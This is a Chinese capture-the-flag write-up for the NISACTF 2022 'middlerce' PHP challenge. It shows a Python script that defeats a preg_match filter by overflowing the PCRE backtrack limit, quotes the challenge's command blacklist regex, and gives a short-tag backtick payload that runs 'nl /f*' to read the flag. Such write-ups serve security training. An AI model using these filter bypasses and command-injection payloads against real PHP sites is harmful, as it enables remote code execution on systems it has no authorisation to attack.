NSS [NISACTF 2022]middlerce

NSS [NISACTF 2022]middlerce

开题,直接给了源码。

由语句$command = json_decode($txw4ever,true)['cmd'];可得,$txw4ever一定是json格式的数据,但是,preg_match()函数却过滤了{,同时.*贪婪匹配后又匹配括号里的字符,最后再.*后结束。看似无懈可击的过滤,其实可以使用PCRE回溯次数限制绕过

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit默认1000000,超过1000000不会返回1或0而是false即超过限制即可。

$_REQUEST可以接收GET和POST数据,由于GET不适合发太长的请求,这里我们选择用POST。

payload生成脚本:

python 复制代码
import requests

payload = '{"cmd":"cmd", "a":"'+'#'*1000000+'"}'
res = requests.post("http://node4.anna.nssctf.cn:28035/",data = {"letter":payload})
print(res.text)

脚本发个包,发现没有返回再加把油喔,说明preg_match()函数被成功绕过了。

然后就是考虑【命令】如何绕过checkdata()函数检测的问题了。

checkdata()函数的正则过滤如下:

php 复制代码
/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i

这题是黑盒,也可以自己fuzz,结果不变。

过滤的很死,依靠函数执行命令行不通了。那么命令执行我们就采用短标签+反引号。

复制代码
?><?= `nl /f*`?>

解释一下,<?=?>则是相当于<? echo>,payload最前面?>用于闭合,payload后面一部分相当于echo+反引号执行命令。

成功得到flag。

相关推荐
搞科研的小刘选手23 分钟前
【南昌大学主办】第五届人工智能、物联网和云计算技术国际会议(AIoTC 2026)
人工智能·物联网·网络安全·大模型·云计算·智慧城市·云安全
CTO Plus技术服务中44 分钟前
自研-网络安全自动化应急响应工具系统(NSRT)
安全·web安全·自动化
WangX-西石油1 小时前
DVWA靶场上Low级别SQL注入漏洞学习
sql·网络安全
D4c-lovetrain2 小时前
Jenkins自动化部署PHP项目
自动化·jenkins·php
上海云盾第一敬业销售2 小时前
高防CDN架构解析与实战经验
web安全·架构·ddos
zzqssliu2 小时前
跨境独立站多端适配开发:多语言+多货币+跨平台同步技术实战
前端·javascript·php
Chengbei112 小时前
AI赋能Chrome MCP × JS逆向Skill自动化JS逆向助力挖洞与绕过实战(小白也能学会)
javascript·人工智能·chrome·网络安全·自动化·系统安全·安全架构
CTO Plus技术服务中2 小时前
资产暴露面管理系统(AEMS)
安全·web安全·www.mdrsec.com·ctoplus技术服务栈
雪度娃娃2 小时前
ASIO异步通信——服务器网络层和逻辑层设计
开发语言·网络·c++·php
JSON_L2 小时前
PHP 高精度计算完全指南:彻底解决浮点数精度丢失
开发语言·php